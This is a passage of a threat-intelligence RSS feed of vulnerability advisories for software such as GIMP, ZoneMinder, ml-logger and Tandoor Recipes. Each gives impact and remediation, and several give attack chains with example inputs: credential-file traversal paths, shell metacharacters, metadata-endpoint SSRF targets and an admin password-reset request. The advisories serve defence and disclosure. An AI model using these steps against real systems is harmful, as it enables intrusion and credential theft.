<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:webfeeds="http://webfeeds.org/rss/1.0"><channel><title>High - CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/severities/high/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Fri, 16 Oct 2026 22:44:41 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/severities/high/feed.xml" rel="self" type="application/rss+xml"/><image><url>https://feed.craftedsignal.io/favicon-32x32.png</url><title>CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/</link><width>32</width><height>32</height></image><webfeeds:icon>https://feed.craftedsignal.io/favicon.svg</webfeeds:icon><item><title>Integer Overflow Vulnerability in GIMP file-pvr Plug-in</title><link>https://feed.craftedsignal.io/briefs/2026-10-gimp-pvr-overflow/</link><pubDate>Fri, 16 Oct 2026 22:44:41 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-gimp-pvr-overflow/</guid><description>An integer overflow vulnerability in the GIMP file-pvr plug-in allows heap-based buffer overflow via malicious .pvr files, potentially leading to arbitrary code execution or application crashes.</description><content:encoded><![CDATA[<p>A security vulnerability (CVE-2026-62439) has been identified in the GIMP image manipulation software. The flaw exists within the file-pvr plug-in, which is responsible for parsing PowerVR (.pvr) image files. An integer overflow occurs during the calculation of memory buffer sizes based on the image dimensions provided in the file header. An attacker can exploit this by enticing a victim to open or preview a specially crafted .pvr image file. Successful exploitation leads to a heap-based buffer overflow, which can result in an application crash (Denial of Service) or arbitrary code execution within the context of the user running GIMP. This vulnerability affects GIMP across all supported platforms, including Windows, Linux, and macOS. Users are advised to upgrade to a patched version once available and avoid opening untrusted or unknown .pvr files.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-62439 allows an unauthenticated attacker to achieve code execution or perform a denial of service attack against the GIMP application. This presents a high risk to users who frequently work with external or untrusted graphics files. Organizations should identify systems where GIMP is installed and monitor for the opening of .pvr files from untrusted sources until patches are applied.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor endpoint file access logs for GIMP (gimp-2.x.exe or gimp-console) opening files with the .pvr extension.</li>
<li>Disable or remove the file-pvr plug-in if PVR image support is not required for business operations.</li>
<li>Apply vendor security updates for GIMP as soon as they are made available to address CVE-2026-62439.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>vulnerability</category><category>remote-code-execution</category></item><item><title>Stack Exhaustion Vulnerability in lopdf Rust Library</title><link>https://feed.craftedsignal.io/briefs/2026-10-lopdf-stack-overflow/</link><pubDate>Fri, 16 Oct 2026 22:28:51 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-lopdf-stack-overflow/</guid><description>The lopdf Rust library is vulnerable to stack exhaustion via unbounded recursion when parsing deeply nested PDF objects, allowing unauthenticated attackers to cause a denial-of-service via SIGABRT.</description><content:encoded><![CDATA[<p>The Rust library <code>lopdf</code> (versions prior to 0.42.0) contains a vulnerability in its document parsing logic within <code>lopdf::Document::load_mem</code> and related entry points. The parser recursively processes nested PDF arrays and dictionaries without implementing a depth limit. By supplying a specially crafted PDF file containing approximately 10,000 levels of nested objects (e.g., <code>[[[[...]]]]</code>), an attacker can trigger a stack overflow that results in a process-terminating <code>SIGABRT</code>.</p>
<p>Because this termination occurs as a non-recoverable abort rather than a standard Rust <code>panic!</code>, the crash cannot be intercepted by <code>catch_unwind</code> handlers. Any service that uses <code>lopdf</code> to process untrusted or user-supplied PDF input is susceptible to this denial-of-service (DoS) attack. The attack requires only a small file (approximately 21 KB) to crash the target application. This issue highlights the danger of unbounded recursion when handling complex file formats.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation results in a denial-of-service condition for the affected application or service. Any system utilizing <code>lopdf</code> to ingest user-uploaded files, process PDF documents from email attachments, or handle API-based PDF generation is at risk. Given that the crash is an unrecoverable <code>SIGABRT</code>, affected services will experience complete process interruption until restarted, potentially leading to significant downtime in environments that rely on automated PDF processing.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Update the <code>lopdf</code> dependency to version 0.42.0 or later, which implements a maximum object-nesting depth to prevent unbounded recursion.</li>
<li>Implement input validation at the application level to reject or pre-scan PDF files for excessive nesting depth before passing them to the <code>lopdf</code> parsing functions.</li>
<li>Where possible, run PDF parsing logic in a sandboxed or isolated process with resource limits to minimize the impact of crashes on core service infrastructure.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Arcane Admin Account Takeover via Improper Authorization</title><link>https://feed.craftedsignal.io/briefs/2026-10-arcane-admin-takeover/</link><pubDate>Fri, 16 Oct 2026 22:28:32 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-arcane-admin-takeover/</guid><description>An authorization flaw in the Arcane user management API allows users with the 'users:update' permission to overwrite administrative credentials and hijack global administrator accounts.</description><content:encoded><![CDATA[<p>Arcane versions 2.5.0 and earlier contain a critical authorization vulnerability within the <code>UpdateUser</code> API handler. The application permits users assigned the delegated <code>users:update</code> permission to update the <code>PasswordHash</code> of any target user, including global administrators. The vulnerability arises because the backend logic in <code>backend/api/handlers/users.go</code> and <code>user_service.go</code> lacks a privilege-hierarchy check, performing an unconditional <code>tx.Save</code> operation on the user model provided in the request body. While Arcane implements <code>RequireGlobalAdmin</code> guards for administrative tasks like role creation, the user management endpoint fails to enforce the separation between standard account profile maintenance and privileged administrative actions. This allows an attacker to reset the administrator's password, authenticate as the admin, and achieve full control over the application environment.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An administrator creates a custom role for a user, granting them the <code>users:update</code> permission for legitimate profile management tasks.</li>
<li>The attacker, possessing this <code>users:update</code> permission, authenticates to the application using their own account.</li>
<li>The attacker identifies the <code>adminId</code> for the global administrator account.</li>
<li>The attacker sends a <code>PUT</code> request to <code>/users/{adminId}</code> with a JSON payload containing a new <code>password</code> field (e.g., <code>{&quot;password&quot;:&quot;attacker123&quot;}</code>).</li>
<li>The server validates the attacker has the <code>users:update</code> permission but fails to verify if the caller is authorized to modify an administrator's account.</li>
<li>The <code>UpdateUser</code> handler updates the administrator's <code>PasswordHash</code> in the database to the attacker's chosen value.</li>
<li>The attacker authenticates to the application via <code>POST /auth/login</code> using the compromised administrative credentials.</li>
<li>The attacker obtains an administrative session and takes full control of the platform.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The vulnerability results in complete administrative account takeover, enabling unauthorized access to application data, configuration settings, and user management capabilities. This impact is rated with high confidentiality, integrity, and availability loss. Any user with the delegated <code>users:update</code> role can effectively compromise the entire instance.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade the Arcane backend (github.com/getarcaneapp/arcane/backend/v2) to version 2.6.0 or later immediately to patch CVE-2026-96627.</li>
<li>Conduct an audit of all custom roles and user permissions in the application to ensure that the <code>users:update</code> permission is not granted to untrusted accounts.</li>
<li>Monitor web server logs for suspicious <code>PUT</code> requests to the <code>/users/</code> endpoint directed at known administrator accounts.</li>
<li>If patching is not immediately feasible, remove the <code>users:update</code> permission from any non-administrative roles to prevent exploitation.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Authorization Bypass in Tandoor Recipes API Endpoints</title><link>https://feed.craftedsignal.io/briefs/2026-10-tandoor-recipes-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 20:45:17 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-tandoor-recipes-auth-bypass/</guid><description>CVE-2026-59963 allows an authenticated user to bypass object-level authorization and access, share, or exfiltrate private recipes via utility API endpoints.</description><content:encoded><![CDATA[<p>CVE-2026-59963 is an authorization bypass vulnerability in Tandoor Recipes versions prior to 2.6.10. The vulnerability exists within the application's recipe utility API endpoints, including those for AI-based imports, file retrieval, external link generation, and share-link creation. An authenticated user who is a member of a shared Space can supply the identifier of another user's private recipe to these endpoints. The application fails to perform necessary object-level authorization checks, allowing the attacker to retrieve private file bytes, send sensitive data to configured external AI providers, or generate public access links for private recipe content. This flaw enables unauthorized access to and potential exposure of sensitive data belonging to other members within the same Space.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability results in the exposure of private recipe data and sensitive uploaded content to unauthorized users within a shared space or to configured third-party external services. If successful, an attacker can exfiltrate private content or generate public links to previously restricted information. This affects all Tandoor Recipes instances running versions earlier than 2.6.10, posing a risk to data confidentiality for users managing sensitive meal planning and recipe data.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Tandoor Recipes to version 2.6.10 or later immediately to patch the missing object-level authorization checks.</li>
<li>Audit logs for the affected API endpoints (api/ai-import/, api/get_recipe_file/, api/get_external_file_link/, api/share-link/) to identify instances where a single user identifier is associated with multiple unexpected recipe IDs within a short timeframe.</li>
<li>Monitor logs for unauthorized creation of public share links (api/share-link/) by non-owner users within shared Spaces.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>authorization-bypass</category><category>api-vulnerability</category><category>data-exposure</category></item><item><title>Blind SSRF in Tandoor Recipes via AI Provider Configuration</title><link>https://feed.craftedsignal.io/briefs/2026-10-tandoor-recipes-ssrf/</link><pubDate>Fri, 16 Oct 2026 20:44:41 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-tandoor-recipes-ssrf/</guid><description>Authenticated users can exploit a blind Server-Side Request Forgery vulnerability in Tandoor Recipes versions prior to 2.6.10 by manipulating AI provider URL inputs to map internal network resources.</description><content:encoded><![CDATA[<p>Tandoor Recipes versions prior to 2.6.10 are vulnerable to a blind Server-Side Request Forgery (SSRF) vulnerability. The flaw exists in how the application processes the 'api_base' parameter for AI provider configuration. Specifically, when an authenticated user creates a Space and configures an AI provider, the application fails to apply standard server-side outbound-request validation (safe_request) when interacting with LiteLLM.</p>
<p>By providing a URL targeting internal network services or cloud metadata endpoints, an attacker can force the application server to make unauthorized requests. The application exposes the success, refusal, or timeout status of these requests back to the user interface during AI-driven actions (such as 'ai-import' or 'ai-step-sort'). This creates a blind network-reachability oracle, allowing attackers to map internal infrastructure, identify reachable ports, and potentially access sensitive metadata services within the hosting environment. This issue was resolved in version 2.6.10 by ensuring proper SSRF mitigation on these AI-related API endpoints.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker authenticates to the Tandoor Recipes instance as a user with Space creation permissions.</li>
<li>Attacker accesses the AI provider configuration settings within the Space management interface.</li>
<li>Attacker inputs a crafted internal URL (e.g., http://169.254.169.254 or internal service IPs) into the 'api_base' field.</li>
<li>Attacker triggers an AI action, such as 'ai-import' or 'ai-step-sort', within the application.</li>
<li>The application backend processes the request and sends the malicious 'api_base' URL to the LiteLLM library without validation.</li>
<li>The server attempts to connect to the target URL and receives a connection result (success, connection refused, or timeout).</li>
<li>The application returns the request outcome to the user interface.</li>
<li>Attacker repeats the process with varying ports and target addresses to perform reconnaissance on the internal network.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows authenticated users to bypass network segmentation and discover internal infrastructure. The vulnerability impacts organizations hosting Tandoor Recipes in environments with access to cloud metadata services or sensitive internal networks, as it facilitates reconnaissance which is a common precursor to further exploitation or data exfiltration.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Tandoor Recipes to version 2.6.10 or later immediately.</li>
<li>Apply strict egress filtering on the application server to prevent connections to internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and cloud metadata services (e.g., 169.254.169.254).</li>
<li>Audit logs for the identified API endpoints (/api/ai-import/ and /api/ai-step-sort/) for unusually high rates of requests or non-standard external/internal URLs in the AI configuration parameters.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-vulnerability</category><category>ssrf</category><category>reconnaissance</category><category>web-application</category><category>authentication-bypass</category><category>cve</category></item><item><title>ZoneMinder Authenticated OS Command Injection via Monitor Name</title><link>https://feed.craftedsignal.io/briefs/2026-10-zoneminder-rce/</link><pubDate>Fri, 16 Oct 2026 20:44:29 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-zoneminder-rce/</guid><description>An authenticated OS command injection vulnerability (CVE-2026-102608) in ZoneMinder versions prior to 1.38.3 allows remote code execution via unsanitized monitor names during event export operations.</description><content:encoded><![CDATA[<p>ZoneMinder, an open-source closed-circuit television (CCTV) software, contains a critical OS command injection vulnerability tracked as CVE-2026-102608. The issue stems from the improper sanitization of the 'Monitor Name' field within the <code>download_functions.php</code> script. Specifically, the application uses manual single-quote wrapping instead of robust functions like <code>escapeshellarg()</code> when constructing command-line arguments for system utilities including <code>ffmpeg</code>, <code>tar</code>, and <code>zip</code>.</p>
<p>An attacker possessing monitor-create or monitor-edit permissions can inject shell metacharacters into a monitor name. When a user with 'Events View' permissions triggers an event export for that monitor, the malicious input breaks out of the manual quoting, leading to arbitrary command execution in the context of the web server user. This vulnerability is fixed in version 1.38.3. Given the public availability of proof-of-concept exploit code, immediate patching is required for all instances.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The attacker gains initial access to the ZoneMinder web interface with credentials possessing monitor-create or monitor-edit privileges.</li>
<li>The attacker navigates to the monitor configuration and creates or renames a monitor, inserting shell metacharacters (e.g., <code>;</code>, <code>&amp;&amp;</code>, <code>$()</code>) into the 'Monitor Name' field.</li>
<li>The malicious monitor name is saved into the backend database.</li>
<li>An authenticated user with 'Events View' permissions initiates an event export process for the compromised monitor.</li>
<li>The <code>download_functions.php</code> script retrieves the monitor name from the database.</li>
<li>The script improperly concatenates the name into shell commands for <code>ffmpeg</code>, <code>tar</code>, or <code>zip</code> utilities.</li>
<li>The system executes the injected commands as the web server user process (e.g., www-data).</li>
<li>Final objective achieved: remote command execution, potential lateral movement, or system compromise.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for full remote code execution on the underlying server as the web server user. This provides the attacker the ability to pivot deeper into the internal network, exfiltrate stored CCTV footage, or disrupt surveillance operations. This vulnerability is rated with a CVSS 9.0 (High) score, posing a significant risk to organizations relying on ZoneMinder for physical security monitoring.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade ZoneMinder to version 1.38.3 or later immediately to patch CVE-2026-102608.</li>
<li>Audit existing monitor names for the presence of shell metacharacters such as semicolon, pipe, or backticks using the web interface or direct database queries.</li>
<li>Review web server access logs for anomalous requests to <code>download_functions.php</code> that include excessive query parameters or shell metacharacters.</li>
<li>Enforce strict role-based access control (RBAC) to limit the number of users with monitor-create or monitor-edit permissions.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>command-injection</category><category>vulnerability</category><category>remote-code-execution</category><category>surveillance</category></item><item><title>Unauthenticated Arbitrary File Read in ml-logger via CVE-2025-10952</title><link>https://feed.craftedsignal.io/briefs/2026-10-ml-logger-afr/</link><pubDate>Fri, 16 Oct 2026 19:44:16 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-ml-logger-afr/</guid><description>An unauthenticated arbitrary file read vulnerability (CVE-2025-10952) in the ml-logger stream_handler allows remote attackers to enumerate and exfiltrate sensitive files from the host filesystem.</description><content:encoded><![CDATA[<p>CVE-2025-10952 is a critical vulnerability residing in the <code>ml-logger</code> Python library, specifically within the <code>stream_handler</code> component of <code>ml_logger/server.py</code>. The flaw stems from improper input validation where the <code>key</code> parameter, provided via JSON request body, is passed directly to file read operations without adequate sanitization or path restriction checks. An unauthenticated attacker can exploit this by sending specially crafted paths, such as those utilizing double leading slashes (e.g., <code>//root/.ssh/id_rsa</code>), to bypass intended directory constraints. This enables the attacker to read arbitrary files accessible by the system user running the <code>ml-logger</code> process. A functional proof-of-concept exploit is publicly available, enabling unauthenticated file enumeration via the <code>/glob</code> endpoint followed by arbitrary file exfiltration through the <code>/stream</code> endpoint.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies a target exposing the <code>ml-logger</code> API, typically on port 8081.</li>
<li>Attacker sends a POST request to the <code>/glob</code> endpoint to enumerate the filesystem and identify sensitive files.</li>
<li>Attacker parses the JSON response from the <code>/glob</code> endpoint to locate high-value targets like SSH keys, configuration files, or credentials.</li>
<li>Attacker constructs a malicious request to the <code>/stream</code> endpoint, embedding the targeted file path into the <code>key</code> JSON field.</li>
<li>Attacker prepends double slashes (e.g., <code>//etc/shadow</code>) to the file path to bypass the application's path normalization logic.</li>
<li>The <code>ml-logger</code> service retrieves the requested file from the disk and transmits the content to the attacker in the response body.</li>
<li>Attacker saves the exfiltrated content, such as a private SSH key, to their local machine.</li>
<li>Attacker uses the stolen credentials to establish persistent access or move laterally within the victim environment.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated remote attackers to read sensitive files from the underlying host filesystem. This poses a severe risk of credential theft, including the acquisition of SSH private keys, environment variables, and configuration files containing secrets. If the <code>ml-logger</code> service is running with elevated privileges, the impact extends to full system compromise. The vulnerability affects all versions of <code>geyang/ml-logger</code> up to commit <code>acf255bade5be6ad88d90735c8367b28cbe3a743</code>.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Implement an authentication-enabled reverse proxy or API gateway in front of all <code>ml-logger</code> instances to restrict access to trusted sources.</li>
<li>Deploy the Sigma rule below to detect path traversal attempts targeting the <code>ml-logger</code> endpoints.</li>
<li>Restrict the operating system user account running <code>ml-logger</code> to the minimum necessary permissions to prevent access to sensitive files like <code>~/.ssh/</code> or <code>/etc/shadow</code>.</li>
<li>Upgrade to a patched version of <code>ml-logger</code> as soon as the vendor provides a formal release addressing the vulnerability.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>arbitrary-file-read</category><category>path-traversal</category><category>webserver</category></item><item><title>IDOR Vulnerability in LingGuo-Drama</title><link>https://feed.craftedsignal.io/briefs/2026-10-lingguo-drama-idor/</link><pubDate>Fri, 16 Oct 2026 18:51:16 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-lingguo-drama-idor/</guid><description>LingGuo-Drama through commit 8a6924a is vulnerable to an Insecure Direct Object Reference (IDOR) flaw allowing unauthorized access, modification, and deletion of user projects.</description><content:encoded><![CDATA[<p>LingGuo-Drama, an application for managing short-drama projects, contains an Insecure Direct Object Reference (IDOR) vulnerability identified as CVE-2026-111722. The vulnerability exists in the projects.Get function, which fails to validate project ownership during access requests. By manipulating numeric identifiers within the API, a self-registered user can bypass authorization controls. The impact is significant, as an attacker can read, overwrite, reassign, or delete any project hosted on the instance, regardless of whether they own it. This issue affects all versions of the application up to and including commit 8a6924a. Defenders should prioritize auditing web server access logs for anomalous patterns of sequential numeric ID requests to the project management API endpoints.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows an unprivileged, self-registered user to access and manipulate data belonging to other users. This can lead to total loss of project confidentiality, integrity, and availability within the impacted LingGuo-Drama instance. The vulnerability poses a high risk to any organization hosting this software, as it requires no elevated privileges to execute unauthorized administrative actions on project objects.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Identify all instances of LingGuo-Drama running versions up to commit 8a6924a and evaluate the necessity of exposure to untrusted users.</li>
<li>Implement strict authorization logic in the projects.Get function to ensure that the requester's ID matches the project owner's ID.</li>
<li>Monitor web server logs for high-frequency GET, PUT, or DELETE requests to /admin/v1/projects/:id where the :id parameter follows a sequential pattern.</li>
<li>Patch or upgrade the LingGuo-Drama instance immediately upon the availability of a vendor-supplied fix that addresses the missing authorization check.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>idor</category><category>web-application-vulnerability</category><category>vulnerability</category></item><item><title>Authentication Bypass in 99AI API Endpoint</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-111706/</link><pubDate>Fri, 16 Oct 2026 18:51:04 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-111706/</guid><description>99AI versions 4.3.0 and earlier contain a missing authentication vulnerability in the /api/chatLog/exportExcel endpoint, enabling unauthenticated attackers to exfiltrate sensitive user chat logs.</description><content:encoded><![CDATA[<p>99AI versions 4.3.0 and earlier are affected by a critical missing authentication vulnerability identified as CVE-2026-111706. The issue resides in the POST /api/chatLog/exportExcel route. An unauthenticated attacker can exploit this flaw by sending a crafted HTTP POST request to the server, which does not verify the user's identity before processing the export task. By manipulating the request parameters - specifically the page, size, and optional email fields - an attacker can trigger the system to generate and download an Excel spreadsheet containing sensitive data. This data includes usernames, email addresses, prompts, and corresponding AI responses. This exposure poses a significant risk to user privacy and data confidentiality, particularly for organizations relying on the application for sensitive internal communications.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability results in the unauthorized exfiltration of the entire user chat log database. Given that the exported records include personally identifiable information (PII) such as usernames and email addresses, as well as potentially sensitive internal prompts and responses, this exposure could lead to mass data breaches and violations of data protection regulations. The number of impacted users depends on the total log volume stored in the specific 99AI instance being targeted.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritized actions for security and infrastructure teams:</p>
<ul>
<li>Upgrade the 99AI application to a patched version beyond 4.3.0 as soon as the vendor provides it.</li>
<li>Implement access control lists (ACLs) or network segmentation to restrict access to the /api/chatLog/exportExcel endpoint to authenticated administrative users only.</li>
<li>Monitor web server access logs for anomalous POST requests to the /api/chatLog/exportExcel endpoint, particularly those originating from unauthorized or external IP addresses.</li>
<li>Deploy the provided Sigma rule to detect and flag exploitation attempts targeting this endpoint.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>CVE-2026-111702: Insecure Direct Object Reference in ChatOllama</title><link>https://feed.craftedsignal.io/briefs/2026-10-chatollama-idor/</link><pubDate>Fri, 16 Oct 2026 18:50:55 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-chatollama-idor/</guid><description>ChatOllama through commit 96c3ce5 contains an insecure direct object reference vulnerability that allows unauthenticated attackers to access private knowledge bases by enumerating sequential ID values.</description><content:encoded><![CDATA[<p>ChatOllama through commit 96c3ce5 is affected by an insecure direct object reference (IDOR) vulnerability, tracked as CVE-2026-111702. This vulnerability allows remote, unauthenticated attackers to bypass authorization controls and access private knowledge bases stored within the application. By providing sequential numerical identifiers to the API, an attacker can enumerate and retrieve sensitive metadata and the content of documents associated with other users' knowledge bases. The vulnerability resides in how the application processes the {id} parameter in GET requests to the knowledgebase endpoint and the knowledgebaseId parameter in POST requests to the chat model interface. Given that these endpoints are typically exposed for API interaction, this flaw poses a significant risk to the confidentiality of organizational data processed by the ChatOllama platform.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability leads to unauthorized access and exfiltration of sensitive information stored within ChatOllama knowledge bases. As knowledge bases often contain internal documentation, private datasets, or proprietary information, this exposure can result in significant data breaches, potential compliance violations, and loss of intellectual property. Since the identifiers are sequential, an attacker can systematically scrape the entire knowledge base repository of an instance without requiring specific knowledge of existing IDs.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Update ChatOllama installations to a version beyond commit 96c3ce5 once a security patch is provided by the vendor. In the interim, implement strict network-level access controls for the /api/knowledgebases and /api/models/chat endpoints to restrict traffic to known, trusted internal IP ranges.</p>
<h2 id="detection">Detection</h2>
<p>Because this vulnerability relies on sequential ID enumeration, detection teams should monitor web access logs for anomalous spikes in 200 OK responses from the /api/knowledgebases/ endpoint, specifically looking for high counts of distinct requested IDs originating from a single source IP.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application-vulnerability</category><category>idor</category><category>cve-2026-111702</category></item><item><title>Authentication Bypass Vulnerability in OtterMind Nubase</title><link>https://feed.craftedsignal.io/briefs/2026-10-ottermind-nubase-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:50:47 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-ottermind-nubase-auth-bypass/</guid><description>OtterMind Nubase versions through 0.1.4 are vulnerable to an authentication bypass in the storage API, allowing unauthenticated attackers to read and delete private objects.</description><content:encoded><![CDATA[<p>OtterMind Nubase through version 0.1.4 contains a critical missing authentication vulnerability affecting the storage API endpoint at /storage/v1/object/{bucketId}/{path}. This flaw stems from a misconfiguration where the API treats all HTTP methods as public, failing to enforce authorization checks for requests directed at private buckets. An attacker who has discovered the target's tenant subdomain, bucket ID, and specific object path can interact with private storage resources without providing an API key or a JSON Web Token (JWT). This access allows unauthenticated parties to download sensitive objects or perform unauthorized deletion operations, potentially resulting in significant data exfiltration or service disruption. Organizations running Nubase 0.1.4 or earlier are susceptible to this risk and should ensure access controls are appropriately restricted or apply available patches.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability permits unauthenticated users to gain unauthorized access to private bucket objects. Impact includes potential exposure of confidential data through forced downloads and the destruction of business-critical information via unauthorized deletion commands. There is currently no evidence of widespread exploitation in the wild, but the simplicity of the attack path increases the risk for organizations utilizing Nubase in public-facing or multi-tenant environments.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Audit web server and application gateway access logs for unauthorized GET or DELETE requests targeting the <code>/storage/v1/object/</code> API path from unexpected source IPs.</li>
<li>Patch all instances of OtterMind Nubase to a version newer than 0.1.4 immediately to remediate the broken authentication logic.</li>
<li>Restrict external network access to the storage API endpoints using IP allowlisting or WAF rules until patching is completed.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">threat</category><category>authentication-bypass</category><category>cloud-security</category><category>api-security</category></item><item><title>SQL Injection in WebVella ERP EQL API</title><link>https://feed.craftedsignal.io/briefs/2026-10-webvella-sql-injection/</link><pubDate>Fri, 16 Oct 2026 18:50:38 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-webvella-sql-injection/</guid><description>Authenticated users can exploit an SQL injection vulnerability in the WebVella ERP EQL query API to exfiltrate sensitive data from user and role tables.</description><content:encoded><![CDATA[<p>WebVella ERP, in all versions up to and including 1.8.8, contains a critical SQL injection vulnerability within its EQL (Entity Query Language) query API. The flaw stems from improper sanitization of WHERE-clause text literals when processing requests to the EQL engine. An authenticated attacker can supply crafted input containing single-quoted literals via the POST /api/v3/en_US/eql endpoint to break out of the intended query structure. By manipulating the EqlBuilder SQL interpolation, the attacker can execute arbitrary SQL commands against the backend database. This vulnerability poses a significant risk to organizational confidentiality, as it allows unauthorized access to sensitive database entities, specifically including user and role information which could be leveraged for further privilege escalation or total system compromise.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows an authenticated user to perform unauthorized database queries, leading to the potential exfiltration of sensitive organizational data. Targeting of the user and role tables enables attackers to gain administrative credentials or escalate privileges within the ERP application, directly impacting data integrity and confidentiality.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade WebVella ERP to a version beyond 1.8.8 as soon as a security patch is provided by the vendor.</li>
<li>Implement strict input validation and parameterized queries for the EqlBuilder component to prevent raw SQL injection.</li>
<li>Monitor logs for the /api/v3/en_US/eql endpoint, specifically looking for POST requests containing high frequencies of single-quote characters or unusual SQL syntax patterns within the request body.</li>
<li>Restrict access to the /api/v3/en_US/eql endpoint to only authorized service accounts and administrative users until a patch is applied.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-vulnerability</category><category>sqli</category><category>erp</category></item><item><title>Insecure Direct Object Reference in Shaiwz data-platform-open</title><link>https://feed.craftedsignal.io/briefs/2026-10-idor-shaiwz/</link><pubDate>Fri, 16 Oct 2026 18:50:30 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-idor-shaiwz/</guid><description>An IDOR vulnerability in Shaiwz data-platform-open allows authenticated users to access, enumerate, and modify foreign workspace datasources by manipulating numeric IDs in API requests.</description><content:encoded><![CDATA[<p>Shaiwz data-platform-open, up to and including commit efeacd3, is susceptible to an Insecure Direct Object Reference (IDOR) vulnerability (CVE-2026-111695). The application fails to properly validate the authorization of authenticated workspace members when interacting with datasource-related API endpoints. An attacker can manipulate numeric identifiers within API requests to perform unauthorized actions on datasources belonging to other workspaces. This flaw enables attackers to exfiltrate sensitive JDBC credentials, enumerate database schemas, and perform destructive actions, such as modifying or deleting datasource configurations. This vulnerability poses a significant risk to data confidentiality and integrity within multi-tenant environments where the platform is deployed.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows authenticated attackers to gain unauthorized access to cross-tenant data. Potential damage includes the theft of sensitive JDBC connection strings and database credentials, mapping of internal database structures, and unauthorized alteration or deletion of datasource configurations. This can lead to total loss of datasource integrity and potential lateral movement into backend database infrastructure.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritized, concrete actions for security teams:</p>
<ul>
<li>Apply the security patch for CVE-2026-111695 once provided by the vendor, or upgrade the application beyond commit efeacd3 immediately.</li>
